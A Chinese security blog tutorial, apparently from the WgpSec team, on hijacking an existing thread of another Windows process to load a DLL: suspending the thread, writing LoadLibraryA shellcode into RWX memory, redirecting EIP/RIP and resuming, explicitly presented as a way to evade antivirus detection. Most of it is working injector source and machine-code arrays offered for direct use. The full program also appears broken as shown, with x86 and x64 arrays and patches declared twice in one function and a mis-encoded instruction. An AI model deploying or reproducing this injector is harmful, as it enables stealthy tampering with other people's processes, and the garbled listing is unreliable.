点击蓝字
关注我们
声明
本文作者:Gality
本文字数:7110
阅读时长:30~40分钟
附件/链接:点击查看原文下载
本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
上一篇文章中,我们是通过使用NtCreateThreadEx和RtlCreateUserThread这两个更加底层的API替换CreateRemoteThread来实现的一定程度的杀软绕过,同时我也提到了,还有别的利用思路,那么除了替换使用更加底层的API外,还有什么思路呢?
其实我们目前的主要的操作逻辑还是在目标程序正常执行的流程之外,通过创建一个新的线程执行LoadLibrary加载恶意DLL实现的进程注入,相对来说,由于需要创建新线程,其实动静比较大,很容易被杀软检测到,所以说,我们其实可以换个思路,即让现有线程自己调用LoadLibrary加载我们的DLL:
先记录线程上下文信息,然后改变eip/rip来改变线程流程,执行我们写入的代码,然后再恢复上下文,跳转回原流程。
这种思路很难检测,因为这些操作看起来就像是一个正常线程正在做的事情,其实这种事情有点类似于调试器的行为,没有明显的恶意特征,所以,本章我们就来讨论这种想法的实现
分析
首先,我们需要确定一个目标进程并在目标进程中确定一个已有的线程,理论上来说,线程没有什么选择标准,它可以是目标进程中的任何线程,但是,如果我们选择的线程处于“等待”状态,它将不会运行我们的代码,所以最好还是选择马上就要运行的,或者是正在运行的线程来使得我们的DLL可以尽快加载
列出目标进程的所有线程
在开始之前,我们先实现一个列出指定进程下所有线程的小功能,便于我们后面选择进程去注入,想实现这一点,我们需要先介绍两个API:CreateToolhelp32Snapshot和Thread32Next和一个结构:THREADENTRY32
其中CreateToolhelp32Snapshot可以通过获取进程信息来为指定的进程、进程使用的堆[HEAP]、模块[MODULE]、线程建立一个快照,说白了,就是对指定进程拍摄快照,其中含有了这个进程的堆、模块、线程等信息,便于后续的使用。
而Thread32Next结合Thread32First可以实现遍历线程信息,只不过还需要借助一下THREADENTRY32结构:
typedef struct tagTHREADENTRY32 {
DWORD dwSize; //指定结构的长度,以字节为单位。在调用Thread32First时,设置这个成员为SIZEOF(THREADENTRY32)。如果不初始化的dwSize,Thread32First将调用失败。
DWORD cntUsage; //这个成员已经不再被使用,总是设置为零。
DWORD th32ThreadID; //通过CreateProcess函数返回的兼容线程标示符
DWORD th32OwnerProcessID; /此线程所属进程的进程ID
LONG tpBasePri; //线程在内核中分配的优先级,tpBasePri值为0到31, 0为最低优先级
LONG tpDeltaPri; //这个成员已经不再被使用,总是设置为零。
DWORD dwFlags; //这个成员已经不再被使用,总是设置为零。
} THREADENTRY32, *PTHREADENTRY32;
所以说,我们的实现代码如下:
BOOL GetProcessThreadList(DWORD th32ProcessID) {
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 th32;
printf("Trying to list all threads in Pid: %ldn", th32ProcessID);
//对指定进程拍摄快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
return(FALSE);
//使用前先填写结构的大小
th32.dwSize = sizeof(THREADENTRY32);
//检索有关第一个线程的信息
if (!Thread32First(hThreadSnap, &th32))
{
CloseHandle(hThreadSnap);
return FALSE;
}
//循环枚举线程列表并显示有关线程的信息
do
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
printf("tThreadID: %ld t", th32.th32ThreadID); //显示找到的线程的ID
printf("tbase priority: %ldn", th32.tpBasePri); //显示线程优先级
}
} while (Thread32Next(hThreadSnap, &th32));
//清除快照对象
CloseHandle(hThreadSnap);
return TRUE;
}
对应ProcessExplore看一下,没有问题
打开进程和线程句柄
对进程的访问同样需要先用OpenProcess来获取进程句柄,与以往不同的是,由于我们这次是在已有线程上动手脚,所以还需要加额外一步,就是打开线程句柄:
//打开句柄资源
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
if (hProcess == NULL) {
printf("failed to open Process");
return FALSE;
}
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT, FALSE, ulThreadID);
if (hThread == NULL) {
printf("failed to open Thread");
return FALSE;
}
对于进程来说,由于我们将在进程中编写目标代码,因此在打开进程的函数中使用了PROCESS_VM_OPERATION和PROCESS_VM_WRITE这两个参数。对于线程,由于我们需要改变它的上下文,所以说我们要先让其处于”悬挂状态“,待我们的注入的代码执行完并恢复了上下文后后再继续执行
申请内存
由于我们的代码需要在目标进程中执行,因此我们要在目标进程中分配内存:
WCHAR* buffer = NULL;
SIZE_T page_size = 4096;
buffer = (WCHAR*)VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!buffer)
return FALSE;
注意,我们这里分配了一整页的RWX权限的内存,实际上我们并不需要这么大的内存空间,但是内存管理器是以页为单位来分配空间的,因此我们可以分配到一个完整的内存页
悬挂线程并获取上下文
获取线程上下文前需要先将线程挂起,用SuspendThread挂起指定线程,GetThreadContext可以获取指定线程的上下文:
//挂起目前线程
if (::SuspendThread(hThread) == -1)
return FALSE;
//获取线程上下文
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
if (!::GetThreadContext(hThread, &context))
return FALSE;
以上完成后,我们就需要做一些之前没有没有做过的事了,在这次的利用思路中,我们提到了是通过改变线程流程来实现的进程注入,也就是说我们要将实现loadlibrary的二进制写入到内存中,再将线程指针指向其首地址,所以说,我们需要手写一段汇编,这段汇编有如下一些要求:
-
必须与目标进程的位数匹配
-
如果需要跳转,则必须要使用位置无关代码
话不多说,直接开始撸汇编,先从32位版本开始:
打开Visual Studio,创建一个新的工程,编写以下内容并复制生成的汇编代码
void __declspec(naked) InjectedFunction() {
__asm {
pushad
push 11111111h; the DLL path argument
mov eax, 22222222h; the LoadLibraryA function address
call eax
popad
push 33333333h; the code to return to
ret
}
}
int main() {
InjectedFunction();
return 0;
}
稍微解释下这段汇编:
-
函数用__declspec(naked)来修饰,用来告诉编译器函数代码中的汇编语言是我们自己写的,不需要编译器添加任何汇编代码
-
先pushad将所有寄存器的值保存下来,便于后面恢复
-
第2,3,4行的push, mov, call 的组合操作相当于是完成了LoadLibrary的调用,参数通过栈传递,为11111111(后面需要修补为DLL的真实地址)
-
popad是pushad的逆操作,恢复所有寄存器的值到之前的状态
-
push 返回地址+ret使程序流程回到我们想要返回的地方,程序继续正常执行
在项目->属性下,做如下设置:
然后生成(不要执行,只是生成就可以了,我们只需要那个机器码而已),就会发现生成了.cod文件
该文件中就包含了汇编代码:
在上述代码中,11111111这种的地址,其实都是占位符,因为在程序加载前我们并不知道真实的地址是什么,所以说,在将这些机器码复制进内存之前,我们还需要对这些地址完成修补,不过首先,我们先将机器码转换成字节数组:
BYTE code[] = {
0x60,
0x11, 0x11, 0x11, 0x11,
0x22, 0x22, 0x22, 0x22,
0xd0,
0x61,
0x33, 0x33, 0x33, 0x33,
0xc3
};
欧克,修补先等会儿说,我们先来实现下x64版本的代码,由于x64中,调用约定与x86中的__stdcall不同,例如前4个参数通过寄存器RCX,RDX,R8和R9来传递,而我们LoadLibrary只需要一个参数,所以只需要用一个RCX就足够了,所以,代码如下:
.code
main proc
sub rsp, 28h
mov[rsp + 18h], rax
mov[rsp + 10h], rcx
mov rcx, 1111111111111111h; the DLL path argument
mov rax, 2222222222222222h; the LoadLibraryA function address
call rax
mov rcx, [rsp + 10h]
mov rax, [rsp + 18h]
add rsp, 28h
sub rsp, 8;
mov dword ptr [rsp], 33333333h; low 32 bits for address to return
mov dword ptr [rsp + 4], 33333333h; high 32 bits for address to return
ret
main endp
end
这里面有非常多的坑点,这里集中说一下:
首先是代码方面:
一:64位中,栈是16字节对齐的,而且这对齐是相对函数调用流程来说的,就比如上述代码,首先就rsp抬升了28h,为什么是28h呢?
-
首先,我们需要2*8h=10h的空间暂时存储rax和rcx中原本的值,因为后面我们会用到这两个寄存器,所以要先保存,后面再恢复,这个很好理解
-
其次,在x64调用约定中,虽然前4个参数是通过寄存器传递的,但是在函数外还需要开辟额外的空间,因为在函数内会将这些寄存器内的值先保存在栈上,再进行后续流程,师傅们可以自己随便调试一个X64应用,可以在进入函数后看到连续的mov [rsp+8], rcx类似的汇编代码而由于LoadLibrary只有一个参数,所以在函数进入后,会将rcx的值复制在rsp+8的位置,所以这里还要预留出8h的空间,不过一般都会多留10h
-
在加上call后,返回地址会入栈,占用8h,8h+10h+10h+8h=30h正好是16字节对齐,所以这里是抬升28h
二:为什么最后不是直接push返回地址后ret
原因是因为x64中不支持直接push一个64位的地址入栈,想要将返回地址入栈只能使用上面写的这种分开入栈的方式,或者就是mov地址到没用的寄存器然后jmp寄存器实现返回
然后是怎么生成原始机器码:
由于x64中VS取消了naked声明,内嵌汇编会导致编译器自动修改我们的代码,想要得到原始的汇编生成的字节码相对来说比较麻烦,我这里说一种方法:
首先先新建一个项目,右侧,项目名上右键找到生成依赖项 -> 点击生成自定义
勾选上masm选项
然后,在右侧,源文件处,右键添加 -> 新建项
随便选一种类型的文件,命名成.asm即可,然后输入上面的代码:
我这里把入口点命名成了main,就按main来说,在项目 -> 属性 -> 链接器 -> 高级 -> EntryPoint中输入main(你的入口点是啥就填啥)
然后生成就可以了,将断点打在asm中就可以愉快的调试了,如下图
注意,以上流程顺序不能变,否则有可能出现asm文件不编译的情况
最终生成的机器码数字如下:
BYTE code[] = {
0x48, 0x83, 0xEC, 0x28, //sub rsp,28h
0x48, 0x89, 0x44, 0x24, 0x18, //mov qword ptr [rsp+18h],rax
0x48, 0x89, 0x4C, 0x24, 0x10, //mov qword ptr [rsp+10h],rcx
0x48, 0xB9, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, //mov rcx,1111111111111111h
0x48, 0xB9, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, //mov rax,2222222222222222h
0xFF, 0xD0, //call rax
0x48, 0x8B, 0x4C, 0x24, 0x10, //mov rcx,qword ptr [rsp+10h]
0x48, 0x8B, 0x44, 0x24, 0x18, //mov rax,qword ptr [rsp+18h]
0x48, 0x83, 0xC4, 0x28, //add rsp,28h
0x48, 0x83, 0xEC, 0x08, //sub rsp,8
0xC7, 0x04, 0x24, 0x33, 0x33, 0x33, 0x33, //mov dword ptr [rsp],33333333h
0xC7, 0x44, 0x24, 0x04, 0x33, 0x33, 0x33, 0x33 //mov dword ptr [rsp + 4], 33333333h
};
以上,我们就完成了LoadLibrary调用函数的基本模板了,我们接着看修补
修补地址
修补地址没什么好说的,无非就是获取正确的地址,替换掉之前代码中的占位符,没什么好说的,直接上代码了
X86版本的修补代码如下:
//根据地址,修补我们的代码
//修补dll的地址,我们等会儿会把dll地址复制到buffer + 0x60 的位置
*reinterpret_cast<PVOID*>(code + 2) = static_cast<void*>(buffer + 0x60);
//修补LoadLibrary的地址
*reinterpret_cast<PVOID*>(code + 7) = static_cast<void*>(loadLibraryAddress);
//修补返回地址,为当前停止的地址(eip指向即将执行代码的地址)
*reinterpret_cast<unsigned*>(code + 0xf) = context.Eip;
相应的,x64版本的修补只需要修改下偏移量就可以了,代码如下:
//根据地址,修补我们的代码
//修补dll的地址,我们等会儿会把dll地址复制到buffer + 0x60 的位置
* reinterpret_cast<PVOID*>(code + 0x10) = static_cast<void*>(buffer + 0x60);
//修补LoadLibrary的地址
*reinterpret_cast<PVOID*>(code + 0x1a) = static_cast<void*>(loadLibraryAddress);
//修补返回地址,为当前停止的地址的低32位
*reinterpret_cast<unsigned int*>(code + 0x39) = context.Rip & 0xFFFFFFFF;
//修补返回地址,为当前停止的地址的高32位
*reinterpret_cast<unsigned int*>(code + 0x41) = context.Rip >> 32 ;
写入
将修改后的代码和DLL路径写入到申请的空间中,之前也都有提到,没有太多东西,直接上代码了:
//把函数复制到内存中
if (!WriteProcessMemory(hProcess, buffer, code, sizeof(code), nullptr)) {
VirtualFreeEx(hProcess, buffer, page_size, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return FALSE;
}
//把Dll的路径复制到内存中
if (!WriteProcessMemory(hProcess, buffer + 0x60, wzDllFullPath, (strlen(wzDllFullPath)+1)*sizeof(wzDllFullPath), nullptr)) {
VirtualFreeEx(hProcess, buffer, page_size, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return FALSE;
}
唯一需要注意的点就是,写入的地址要和我们修补时的地址对应上,其他就没什么了
恢复进程运行
在执行完我们的代码后,还需要恢复线程运行,这样我们的代码才能在线程执行时得到执行
if (!SetThreadContext(hThread, &context)) {
VirtualFreeEx(hProcess, buffer, page_size, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return FALSE;
}
ResumeThread(hThread);
实现
// InjectWithSetThreadContext.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
using namespace std;
//使能seDebug权限
BOOL EnableDebugPrivilege() {
HANDLE TokenHandle = NULL;
TOKEN_PRIVILEGES TokenPrivilege;
LUID uID;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) {
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &uID)) {
TokenPrivilege.PrivilegeCount = 1;
TokenPrivilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TokenPrivilege.Privileges[0].Luid = uID;
if (AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivilege, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
CloseHandle(TokenHandle);
TokenHandle = INVALID_HANDLE_VALUE;
return TRUE;
}
else
goto Fail;
}
else
goto Fail;
}
else
goto Fail;
Fail:
CloseHandle(TokenHandle);
TokenHandle = INVALID_HANDLE_VALUE;
return FALSE;
}
//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID) {
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 th32;
printf("Trying to list all threads in Pid: %ldn", th32ProcessID);
//对指定进程拍摄快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
return(FALSE);
//使用前先填写结构的大小
th32.dwSize = sizeof(THREADENTRY32);
//检索有关第一个线程的信息
if (!Thread32First(hThreadSnap, &th32))
{
CloseHandle(hThreadSnap);
return FALSE;
}
//循环枚举线程列表并显示有关线程的信息
do
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
printf("tThreadID: %ld t", th32.th32ThreadID); //显示找到的线程的ID
printf("tbase priority: %ldn", th32.tpBasePri); //显示线程优先级
}
} while (Thread32Next(hThreadSnap, &th32));
//清除快照对象
CloseHandle(hThreadSnap);
return TRUE;
}
BOOL DoInjection(HANDLE hProcess, HANDLE hThread, CHAR* wzDllFullPath) {
//带注入的代码模板
BYTE code[] = {
0x48, 0x83, 0xEC, 0x28, //sub rsp,28h
0x48, 0x89, 0x44, 0x24, 0x18, //mov qword ptr [rsp+18h],rax
0x48, 0x89, 0x4C, 0x24, 0x10, //mov qword ptr [rsp+10h],rcx
0x48, 0xB9, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, //mov rcx,1111111111111111h
0x48, 0xB8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, //mov rax,2222222222222222h
0xFF, 0xD0, //call rax
0x48, 0x8B, 0x4C, 0x24, 0x10, //mov rcx,qword ptr [rsp+10h]
0x48, 0x8B, 0x44, 0x24, 0x18, //mov rax,qword ptr [rsp+18h]
0x48, 0x83, 0xC4, 0x28, //add rsp,28h
0x48, 0x83, 0xEC, 0x08, //sub rsp,8
0xC7, 0x04, 0x24, 0x33, 0x33, 0x33, 0x33, //mov dword ptr [rsp],33333333h
0xC7, 0x44, 0x24, 0x04, 0x33, 0x33, 0x33, 0x33, //mov dword ptr [rsp + 4], 33333333h
0xC3 //ret
};
BYTE code[] = {
0x60,
0x68, 0x11, 0x11, 0x11, 0x11,
0xb8, 0x22, 0x22, 0x22, 0x22,
0xff, 0xd0,
0x61,
0x68, 0x33, 0x33, 0x33, 0x33,
0xc3
};
//申请内存
WCHAR* buffer = NULL;
SIZE_T page_size = 4096;
buffer = (WCHAR*)VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!buffer) {
VirtualFreeEx(hProcess, buffer, page_size, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return FALSE;
}
printf("Buffer in remote Process: %pn", buffer);
//挂起目前线程
if (SuspendThread(hThread) == -1) {
VirtualFreeEx(hProcess, buffer, page_size, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return FALSE;
}
//获取线程上下文
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(hThread, &context)) {
VirtualFreeEx(hProcess, buffer, page_size, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return FALSE;
}
//获取LoadLibrary地址
auto loadLibraryAddress = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
//根据地址,修补我们的代码
//修补dll的地址,我们等会儿会把dll地址复制到buffer + 0x60 的位置
* reinterpret_cast<PVOID*>(code + 0x10) = static_cast<void*>(buffer + 0x60);
//修补LoadLibrary的地址
*reinterpret_cast<PVOID*>(code + 0x1a) = static_cast<void*>(loadLibraryAddress);
//修补返回地址,为当前停止的地址的低32位
*reinterpret_cast<unsigned int*>(code + 0x39) = context.Rip & 0xFFFFFFFF;
//修补返回地址,为当前停止的地址的高32位
*reinterpret_cast<unsigned int*>(code + 0x41) = context.Rip >> 32 ;
//根据地址,修补我们的代码
//修补dll的地址,我们等会儿会把dll地址复制到buffer + 0x60 的位置
*reinterpret_cast<PVOID*>(code + 2) = static_cast<void*>(buffer + 0x60);
//修补LoadLibrary的地址
*reinterpret_cast<PVOID*>(code + 7) = static_cast<void*>(loadLibraryAddress);
//修补返回地址,为当前停止的地址(eip指向即将执行代码的地址)
*reinterpret_cast<unsigned*>(code + 0xf) = context.Eip;
//把函数复制到内存中
if (!WriteProcessMemory(hProcess, buffer, code, sizeof(code), nullptr)) {
VirtualFreeEx(hProcess, buffer, page_size, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return FALSE;
}
//把Dll的路径复制到内存中
if (!WriteProcessMemory(hProcess, buffer + 0x60, wzDllFullPath, (strlen(wzDllFullPath)+1)*sizeof(wzDllFullPath), nullptr)) {
VirtualFreeEx(hProcess, buffer, page_size, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return FALSE;
}
//将新的指令指针指向添加的代码并恢复线程执行
context.Rip = reinterpret_cast<unsigned long long>(buffer);
context.Eip = reinterpret_cast<DWORD>(buffer);
if (!SetThreadContext(hThread, &context)) {
VirtualFreeEx(hProcess, buffer, page_size, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return FALSE;
}
ResumeThread(hThread);
return TRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
if (EnableDebugPrivilege() == FALSE) {
return 0;
}
ULONG32 ulProcessID = 0;
ULONG32 ulThreadID = 0;
printf("Input the Process ID:");
cin >> ulProcessID;
CHAR wzDllFullPath[MAX_PATH] = { 0 };
strcpy_s(wzDllFullPath, "D:\project\TestDll\Release\TestDll.dll");
strcpy_s(wzDllFullPath, "D:\project\TestDll\x64\Release\TestDll.dll");
if (!GetProcessThreadList(ulProcessID)) {
printf("Can not list the threads!");
exit(0);
}
printf("Input the Thread ID:");
cin >> ulThreadID;
//打开句柄资源
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
if (hProcess == NULL) {
printf("failed to open Process");
return FALSE;
}
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT, FALSE, ulThreadID);
if (hThread == NULL) {
printf("failed to open Thread");
return FALSE;
}
//注入
if (!DoInjection(hProcess, hThread, wzDllFullPath)) {
printf("Failed to inject DLL");
return FALSE;
}
return 0;
}
最终程序在32位下和64位下均能正常运行,但由于线程都是抢占式执行的,我们注入dll的生效也需要依赖于我们注入的线程的执行才能成功注入,所以说有些人为了确保注入成功,会向所有线程中注入代码,相对来说隐蔽性就会小一些,这里各位师傅可以自己权衡,如果只是注入单线程的话,尽量选择优先级高的线程注入,然后。。多等会儿= =
嗷对了,进程的位数必须与注入进程的位数一直,否则被注入进程一定会崩溃的
不过总的来说,这种通过改变线程上下文来执行DLL注入方法,由于加载DLL是一件很寻常的事件,因此这种方法很难被检测到。一种可能的方法是定位可执行页面并将其地址与已知模块进行比较,但是注入进程会在DLL注入完成后释放注入函数的内存,因此定位可执行页面也是非常困难的。
至此,远程进程注入暂时告一段落,基本的一些利用方法这几篇文章中都有涉及了,当然,我们也可以对这些手法结合使用来达到更高的隐匿程度,师傅们可以自行发挥。
PS:由于这其中涉及到了手写汇编并和动态程序调试,相对来说需要的技术难度会高一些,师傅们没有特殊需求直接用我调好的代码执行就可以了,调程序调到2点多= =所以收获也很大,但对头发好像不太好55555~师傅们晚安~
作者
Gality
过去的很久没更新了,未来会补上
扫描关注公众号回复加群
和师傅们一起讨论研究~
长
按
关
注
WgpSec狼组安全团队
微信号:wgpsec
Twitter:@wgpsec
本文始发于微信公众号(WgpSec狼组安全团队):进程注入之远程线程注入进阶
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论